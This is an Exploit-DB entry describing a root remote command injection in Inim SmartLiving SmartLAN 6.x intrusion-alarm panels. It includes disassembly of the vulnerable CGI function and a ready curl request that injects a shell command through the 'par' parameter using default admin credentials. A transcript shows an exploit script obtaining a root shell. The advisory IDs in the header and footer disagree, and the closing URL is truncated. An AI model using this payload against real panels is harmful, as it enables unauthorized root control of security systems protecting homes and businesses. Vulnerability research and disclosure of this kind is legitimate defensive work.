Exploit-DB #47765
Description: Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2019-12-10
Author: LiquidWorm

Exploit:
# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution
# Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Version: 6.x
# Advisory ID: ZSL-2019-5545
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php

#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: <=6.x
# Affected models: SmartLiving 505
#                  SmartLiving 515
#                  SmartLiving 1050, SmartLiving 1050/G3
#                  SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c    ldr r1, str.testemail       ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870    bl sym.imp.strcmp           ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874    cmp r0, 0
#| 0x0000c878    bne 0xc8b8
#| 0x0000c87c    cmp sl, 0
#| 0x0000c880    beq 0xd148
#| 0x0000c884    bl sym.set_no_cache
#| 0x0000c888    add r5, sp, 0x20
#| 0x0000c88c    mov r0, r4
#| 0x0000c890    ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894    bl sym.imp.qcgires_setcontenttype
#| 0x0000c898    mov r0, r5                  ; char *s
#| 0x0000c89c    mov r1, 0xc8                ; 200 ; size_t
#| 0x0000c8a0    ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email test\" %s" ; con
#| 0x0000c8a4    mov r3, r8                  ; ...
#| 0x0000c8a8    bl sym.imp.snprintf         ; int snprintf(char *s,
#| 0x0000c8ac    mov r0, r5                  ; const char * string
#| 0x0000c8b0    bl sym.imp.system           ; int system(const char *string)
#| 0x0000c8b4    b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root       0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
# 
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
# 
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# <html><body><h2>
# SmartLiving 6.07 10100
# <br><br>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/# 
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
#            Boa/0.94.14rc21
#            BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-554